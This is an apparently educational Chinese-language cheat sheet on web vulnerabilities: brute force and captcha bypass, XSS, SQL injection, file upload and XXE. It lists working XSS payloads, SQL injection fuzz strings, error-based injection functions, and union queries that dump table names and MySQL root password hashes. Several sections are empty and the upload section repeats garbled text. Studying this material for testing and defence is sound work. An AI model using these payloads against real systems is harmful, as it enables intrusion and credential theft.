目录
- 目录
- 一、暴力破解
- 漏洞描述
- 无防护措施
- 锁定机制
- 验证码绕过
- 漏洞描述
- 二、xss漏洞(跨站脚本攻击)
- 分类
- 反射型(非持续型)
- 攻击步骤
- 存储型(持续型)
- 攻击步骤
- DOM型
- 反射型(非持续型)
- 危害
- 分类
- 三、CSRF漏洞(跨站请求伪造)
- 四、SQL注入
- 漏洞描述
- 注入分类
- SQL注入分类及判断
- 判断是否存在 Sql 注入漏洞
- 判断 Sql 注入漏洞的类型
- 数字型判断:
- 字符型判断:
- SQL注入分类及判断
- 注入测试
- 常见的注入点
- Fuzz注入点
- 测试用常量
- 测试列数
- 报错注入
- 堆叠注入
- 注释符
- 判断过滤条件
- 获取信息
- 测试权限
- 五、任意命令执行
- 六、文件上传
- 漏洞描述
- 风险等级
- 七、PHP反序列化原理
- 八、XXE漏洞
- 漏洞描述
- 风险分析
- 风险等级
一、暴力破解
验证码绕过
漏洞描述
暴力破解的基本思想是根据题目的部分条件确 定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕。若某个情况验证符合题目的全部条件,则为本问题的一个解;若全部情况验证后都不符合题目的全部条件,则本题无解。常常存在于网站的登录系统中,通过对已知的管理员用户名,进行对其登录口令的大量尝试。
无防护措施
对于没有对登录、注册、重置密码之类的功能进行一定的防护,没有验证码的,没有对输错密码次数进行限制,而且还是明文传输的系统,直接暴力破解。
锁定机制
部分系统会有一些防护措施,比如超过一定的错误次数会将账号进行锁定,或者是某IP频繁的进行登录操作会将IP封了。这种情况下我们就可以进行撞库攻击。撞库攻击一般是是指黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。我们一般会使用一些常见的弱密码去遍历用户名,可以得到一些用弱口令的用户。
验证码绕过
常见的两种验证机制是图片验证码和短信验证码。设置验证码就是为了防止自动化攻击,但是如果没有设计好的话就形同虚设。
图片验证码绕过:
常见的几种图片验证码被绕过的场景:图片验证码输入一次正确可重复使用;图片验证码前端校验;图片验证码可被识别;验证码信息返回客户端等等。
短信验证码绕过:
有时候登录的时候用使用的是短信验证码,这个时候同样要注意设计好逻辑,不然很容易被爆破或者绕过。
二、xss漏洞(跨站脚本攻击)
跨站脚本攻击的英文全称是 Cross Site Script,为了和样式表区分,缩写为 XSS。发生的原因是网站将用户输入的内容输出到页 面上,在这个过程中可能有恶意代码被浏览器执行。跨站脚本攻击 ,它指的是恶意攻击者往 Web页面里插入恶意 html代码,当用户浏览该页之时,嵌入其中Web里面的 html代码会被执行,从而达到恶意用户的特殊目的。已知的跨站脚本攻击漏洞有 四 种:
1)存储式 ;2)反射式 ;3)基于 DOM;4 )Flash型 XSS。
分类
反射型(非持续型)
也称作非持久型、参数型跨站脚本,主要用于将恶意脚本附加到URL地址参数中。漏洞特征:一次性的、前端执行、不会存储到后端数据库中。危害等级:中。
反射型跨站脚本攻击涉及的功能点:URL参数需要在页面显示 的功能点都可能存在反射型跨站脚本攻击,例如站内搜索、查询功能点。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
攻击步骤
- 攻击者构造出包含恶意代码的URL。
- 用户访问时,恶意代码会被拼接在HTML中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 窃取用户数据并发送到攻击者的网站,或冒充用户的行为执行攻击者指定的操作。
例:当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?>
,那么在访问时设置 /?user=</p><script>alert("hack")</script><p>
,则可执行预设好的JavaScript代码。
存储型(持续型)
攻击者事先将恶意JS代码上传或存储到漏洞服务器,当用户浏览含恶意JS代码的页面就会执行恶意代码,不需要用户单击特定URL就能执行跨站脚本。漏洞特征:持久性、前端执行、储存在后端数据库。危害等级:高。
存储型跨站脚本攻击涉及的功能点:用户输入的文本信息保存到数据库中,并能够在页面展示的功能点,例如用户留言、发送站内消息、个人信息修改等功能点。
攻击步骤
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在HTML中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 窃取用户数据并发送到攻击者的网站,或冒充用户的行为执行攻击者指定的操作。
DOM型
DOM-based XSS发生在应用程序通过JavaScript操作页面DOM时,未对用户输入进行适当的过滤或转义,导致攻击者可以注入恶意脚本,进而影响其他用户。漏洞特征:一次性、前端执行、不会储存在后端数据库、程序执行不依赖服务器端的数据。危害等级:中。
基于 DOM跨站脚本攻击涉及的功能点:涉及 DOM对象的页面程序,包括(不限这些):
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如:
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{var str = document.getElementById("input").value;document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
输入 x' onerror='javascript:alert(/xss/)
即可触发。
危害
存在XSS漏洞时,可能会导致以下几种情况:
- 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
- 攻击者能够在一定限度内记录用户的键盘输入。
- 攻击者通过CSRF等方式以用户身份执行危险操作。
- XSS蠕虫。
- 获取用户浏览器信息。
- 利用XSS漏洞扫描用户内网。
三、CSRF漏洞(跨站请求伪造)
完成对目标登录信息修改,盗取账号
四、SQL注入
漏洞描述
所谓 SQL注入,就是通过把 SQL命令插入到 Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL命令。具体来说,它是利用现有应用程序,将(恶意 )SQL命令注入到后台数据库引擎执行的能力,它可以通过在 Web表单中输入(恶意) SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL语句。 造成 SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。
风险等级:高危
注入分类
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
- 报错注入:应用会显示全部或者部分的报错信息
- 堆叠注入:有的应用可以加入
;
后一次执行多条语句
SQL注入分类及判断
事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,
按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里
是字符型的注入同时也是GET型注入和表单注入
判断是否存在 Sql 注入漏洞
最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入
判断 Sql 注入漏洞的类型
这里以数字型和字符型判断为例:
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x
这种类型可以使用经典的 and 1=1
和 and 1=2
来判断:
- Url 地址中输入
http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。 - Url 地址中继续输入
http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。 原因如下: 当输入and 1=1
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断:
- Url 地址中输入
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。 - Url 地址中继续输入
http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。 原因如下: 当输入and '1'='1
时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2
时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确。
注入测试
常见的注入点
GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名
Fuzz注入点
' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
测试用常量
@@version
@@servername
@@language
@@spid
测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
堆叠注入
;select 1
注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
判断过滤条件
是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码
获取信息
判断数据库类型and exists (select * from msysobjects ) > 0 access数据库and exists (select * from sysobjects ) > 0 SQLServer数据库
判断数据库表and exsits (select * from admin)
版本、主机名、用户名、库名
表和字段确定字段数Order BySelect Into表名、列名
我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:
'union select 1,table_name from information_schema.tables where table_schema=database()#;
查询当前数据库下数据表abc的所有字段:
'union select 1,column_name from information_schema.columns where table_name='abc'#;
查询当前数据库下数据表abc的字段user的数据:
'union select 1,user from abc#;
查询MySQL的root用户和密码hash值:
'union select user,authentication_string from mysql.user#
测试权限
文件操作读敏感文件写shell
带外通道网络请求
练习参考 :https://bbs.zkaq.cn/?t/2642.html
五、任意命令执行
六、文件上传
漏洞描述
一般情况下文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。文件上传本身是 web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理、解释文件的过程是否安全。一般的情况有:
- 上传文件 WEB脚本语言,服务器的 WEB容器解释并执行了用户上传的脚本,导致代码执行;
- 上传文件上传文件FLASH策略文件策略文件crossdomain.xml,以此来控制,以此来控制Flash在该域下的行为;在该域下的行为;
- 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
- 上传文件是钓鱼图片或包含了脚本的图片,某些浏览器会作为脚本执行,可用于实施钓鱼或上传文件是钓鱼图片或包含了脚本的图片,某些浏览器会作为脚本执行,可用于实施钓鱼或欺诈;欺诈;
风险等级
高危
七、PHP反序列化原理
八、XXE漏洞
漏洞描述
XXE(XML External Entity Injection) XML外部实体注入,利用 <!Entityname SYSTEM “URI”>。 XML文件的解析依赖 libxml库,而 libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 XML文件时,未对 XML文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的 URL支持 file://和 ftp://等协议。
风险分析
攻击者可以在 XML文件中声明 URI指向服务器本地的实体造成攻击。实体攻击可导致信息泄露、 任意文件读取、 DOS攻击和代码执行等问题。
风险等级
【高危】实体注入可读取服务器文件或执行命令